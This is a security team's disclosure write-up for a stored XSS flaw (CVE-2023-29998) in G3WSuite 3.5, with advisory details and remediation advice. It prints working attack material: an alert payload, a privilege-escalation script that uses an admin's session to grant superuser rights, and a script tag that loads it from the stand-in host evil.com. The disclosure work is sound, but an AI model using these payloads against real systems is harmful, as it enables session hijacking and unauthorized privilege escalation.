GIS3W: Persistent XSS in G3WSuite 3.5 – CVE-2023-29998
GIS3W: Persistent XSS in G3WSuite 3.5 – CVE-2023-29998
Overview
During an engagement on a client’s public infrastructure, we detected an exposed installation of G3WSuite. Since we were asked to perform a black box pentest on the G3WSuite installation, we had to find a way to gather as much information about the target as possible. Luckily for us, the whole G3WSuite codebase is hosted on GitHub (link here), and the maintainers provided very easy-to-follow setup instructions. Playing around with a local installation of G3WSuite for a while, we found a persistent Cross-Site Scripting (XSS) vulnerability.
Advisory – CVE-2023-29998
CVE-2023-29998 – GIS3W: Persistent XSS in G3WSuite 3.5 | High | ||
Description | |||
A Cross-site scripting (XSS) vulnerability in the content editor in Gis3W g3w-suite 3.5 allows remote authenticated users to inject arbitrary web script or HTML via the description parameter. | |||
Remediations | |||
Always filter user-provided input as strictly as possible through server-side validations. Depending on the specific context, encode all the special characters to prevent them to be interpreted. | |||
Category | A3 – Injection: Cross-Site Scripting (XSS) Stored (CWE-79, CAPEC-592) | ||
CVSS v3.1 | Base Score: 8.9 Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:H |
||
Affected product | G3WSuite 3.5 | ||
Account | editor user | ||
Vulnerable resources | |||
Description widgets |
Technical details
Environment setup
After a successful installation of G3WSuite version 3.5 following the instructions detailed here, the landing page of the application should look like the one shown in Figure 01.
Figure 01 – G3WSuite landing page
Log in the application backend as the admin
user and create a low-privileged user, named alice
(a.k.a. the attacker), with editor rights assigned to, as shown in Figure 02 (use built-in roles such as Editor Level 1
) ; notice that other privileges (superuser
, staff
) should not be assigned to alice
.
Figure 02 – Users view from the admin dashboard
Create a new cartographic group, named Cartograhpic Group
, and select alice
as the Editor1 user
role in the ACL Users
section of the newly created group, as shown in Figure 03. This step is necessary to allow alice
to edit the group input fields (Name, Title, Description, …).
Figure 03 – Admin view of Cartographic group
Payload Delivery
Log in to the backend as alice
, then select the edit option next to the Cartographic group
card in order to enter edit mode (this would not be possible if alice
was not granted Editor1 user
role).
From the buttons at the top of the
Description
widget (Figure 03, Figure 04), we assumed that this field could be used for embedding HTML content inside the group description. From an attacker perspective this is a great place to hunt for XSS.
Figure 04 – Alice view of Cartographic group
The proof of concept in Snippet 01 is used to inject and execute a simple XSS payload.
<script>alert(document.domain)</script>
Snippet 01 – XSS payload used to execute the alert function
The execution of the
alert()
function is sufficient to demonstrate that an input field is vulnerable to JavaScript injection, while the visualization of thedocument.domain
element proves that it is possible to access DOM elements using XSS.
Intercept the HTTP request used to update the group information with a web proxy and add the XSS payload shown in Snippet 01 to the description text.
Figure 05 – HTTP request containing the XSS payload to execute the alert function
Once the Description field has been updated (Figure 05), the XSS payload is saved by the backend. The main feature of a persistent XSS is the possibility to store payloads for later execution.
Payload Execution
Every time a user logs in via the administration page (Figure 06), the application loads and execute the injected payload, as shown in Figure 07. Let’s show this by accessing the application as admin
.
Figure 06 – Administration login page
The alert(document.domain)
payload executes as soon as the user logs in (Figure 07). Notice that no further actions are required for the malicious code to activate.
Figure 07 – XSS payload executed as the user logs in
Privilege Escalation
After reviewing the possibility to execute JavaScript within the context of any (admin
included) user (Figure 07), we tried to demonstrate that the vulnerability could be leveraged to obtain admin privileges.
Since the HttpOnly attribute protected the session cookies from access through JavaScript code, the standard cookie-stealing XSS attack was not possible.
It was, however, possible for an attacker to hijack another (admin
) user session to performs privileged operations. After a quick analysis of the Django administrative panel, we developed a simple JavaScript snippet, named privesc.js
(Snippet 02), that could be used to assign superuser
privileges to alice
.
// content of privesc.js // type the name of the user to elevate const user = "alice" // STEP 1: navigate to the django admin panel fetch('/en/django-admin/auth/user/') .then(response => response.text()) .then(html => { var parser = new DOMParser() var doc = parser.parseFromString(html, 'text/html') var userUpdateLink = "" var userLink = doc.querySelectorAll('a[href*="/en/django-admin/auth/user/"]') // navigate to the specified user update page userLink.forEach(link => { // STEP 2: access the specified user update page if (link.textContent.includes(user)) { userUpdateLink = link.href; console.log("[+] Found URL: "+userUpdateLink) fetch(userUpdateLink) .then(response => response.text()) .then(html => { var parser = new DOMParser() var doc = parser.parseFromString(html, 'text/html') var formData = new FormData() inputs = doc.querySelectorAll('input') inputs.forEach(input => { formData.append(input.name, input.value) }) // missing data formData.append("groups", '4') formData.append("user_permissions", '9') formData.append("userdata-0-department", "") formData.append("userdata-__prefix__-department", "") // select id=id_userbackend-0-backend var backend = doc.querySelectorAll('#id_userbackend-0-backend > option')[0].value formData.append("userbackend-0-backend", backend) formData.append("userbackend-0-options", "") formData.append("userbackend-__prefix__-backend", backend) formData.append("userbackend-__prefix__-options", "") // images const blob = new Blob([''], { type: "application/octet-stream" }); formData.set("userdata-0-avatar", blob, "") formData.set("userdata-__prefix__-avatar", blob, "") // remove useless commands formData.delete("_addanother") formData.delete("_continue") formData.delete("userdata-0-avatar-clear") // set superuser privileges to the user formData.set("is_superuser", "on") // STEP 3: update the specified user via POST request fetch(userUpdateLink, { method: 'POST', body: formData }) .then(response => response.text()) .then(html => { console.log("[+] User "+user+" updated!") }) .catch(error => console.error(error)); }) } }) }) .catch(error => console.error(error))
Snippet 02 – JavaScript code used to update alice privileges
We configured an external web server evil.com
, as shown in Figure 08, that we used to serve the privesc.js
script (Snippet 02).
Figure 08 – External server setup
Logged in as alice
, we injected the payload in Snippet 03 inside the vulnerable request, in order to load the malicious privesc.js
script from the external web server evil.com
, as shown in Figure 09.
<script src="http://evil.com/privesc.js"></script>
Snippet 03 – XSS payload used to load the external script
Figure 09 – HTTP request containing the XSS payload used for privilege escalation
As admin
logged in, the external script executed the attack, as shown in the victim browser console in Figure 10.
Figure 10 – XSS execution log
As it can be seen in Figure 11, alice
was assigned the superuser
role by the JavaScript payload execution, and could therefore access the administration panel of G3WSuite.
Figure 11 – Users view from the admin dashboard – logged in as alice
Concluding remarks
In this blog post we showed that it was possible to compromise the security of an application that includes a vulnerable third-party component missing the proper sanitizations. Specifically, the vulnerability described here allowed an editor user to inject arbitrary JavaScript code inside the application backend. The injected client-side code would be executed every time a user logged in. Despite the session cookies were protected against XSS attacks, an attacker could exploit this vulnerability to impersonate other—possibly administrative—users, in order to:
- create/update/remove users (privilege escalation)
- reset the administrator password (DoS)
- replace the content of the application (website defacement)
It is therefore recommended to always enforce validations on the user-supplied (and therefore potentially malicious) input regarding the application components.
Disclosure Timeline
- 01/03/2023 – Initial contact with GIS3W
- 06/03/2023 – GIS3W acknowledges the problem and decides to work with Yarix for a coordinated disclosure
- 08/05/2023 – MITRE assigned CVE-2023-29998 to the vulnerability
- 30/06/2023 – Full disclosure
Resources & References
- Gis3w
- G3WSuite docker
- Cross-Site Scripting
- Stored Cross-Site Scripting
- Session Hijacking
- CVE-2023-29998
Author
Jacopo Talamini is a member of Yarix’s Red Team. He is a former PhD student and a hacker wannabe who enjoys banging his head against the wall in an attempt to understand assembly code.